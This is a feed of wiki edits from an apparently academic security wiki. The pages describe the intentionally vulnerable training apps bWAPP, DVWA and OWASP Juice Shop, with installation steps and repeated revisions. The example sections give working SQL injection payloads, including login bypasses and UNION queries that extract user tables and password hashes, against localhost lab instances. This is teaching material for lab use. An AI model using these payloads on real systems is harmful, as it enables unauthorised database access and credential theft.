*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5523</id>
		<title>Vulnerable Web Services</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5523"/>
		<updated>2020-12-21T18:57:20Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: Created page with &amp;quot;hi&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;hi&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5521</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5521"/>
		<updated>2020-12-21T18:55:26Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command &#039;&#039;&amp;quot;npm start&amp;quot;&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then you can see which port is open, and open any browser and enter &#039;&#039;“localhost: [port]“&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5520</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=5520"/>
		<updated>2020-12-21T18:54:46Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
The example is also based on the SQL injection vulnerability.&lt;br /&gt;
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.&lt;br /&gt;
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% &#039;Or 0 = 0 union select null, user () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’Or 0 = 0 union select null, database () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA sqldatabase.PNG|500px|center]]&lt;br /&gt;
[[File:DVWA sqluser.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*To display all tables of the information schema, you must enter the following command in the search field. &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, table \ _name from information_schema.tables #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The information schema is the place where information is shared with everyone else databases are stored.&amp;lt;/br&amp;gt;&lt;br /&gt;
*We want to display the login data such as username and password. To do this, we should look for the &#039;User&#039; table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% &#039;And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =&#039; users&#039; #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).&lt;br /&gt;
[[File:DVWA hashpassword.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5519</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5519"/>
		<updated>2020-12-21T18:54:12Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It&#039;s also supported by WAMP and XAMPP to use a local webserver.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
[[File:BWAPP1Start.PNG|300px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
*The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
*Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears. &lt;br /&gt;
**Username is “bee” &lt;br /&gt;
**Password is “bug”.&lt;br /&gt;
*User is logged in now and can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it&#039;s possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5517</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5517"/>
		<updated>2020-12-21T18:50:25Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command &#039;&#039;&amp;quot;npm start&amp;quot;&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then you can see which port is open, and open any browser and enter &#039;&#039;“localhost: [port]“&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
*&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5516</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5516"/>
		<updated>2020-12-21T18:48:37Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Installation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, the following steps must be observed:&amp;lt;/br&amp;gt;&lt;br /&gt;
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The downloaded file will be extracted to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command &#039;&#039;&amp;quot;npm start&amp;quot;&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Terminal.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then you can see which port is open, and open any browser and enter &#039;&#039;“localhost: [port]“&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS Homepage.PNG|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1; --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS sqllogin.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email not like (&#039;% admin% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;or 1 = 1 and email like (&#039;% bender% &#039;); --&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:JS loggedin.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5515</id>
		<title>OWASP Juice Shop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_Juice_Shop&amp;diff=5515"/>
		<updated>2020-12-21T18:48:19Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Installation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]&lt;br /&gt;
&lt;br /&gt;
== Architecture: ==&lt;br /&gt;
&lt;br /&gt;
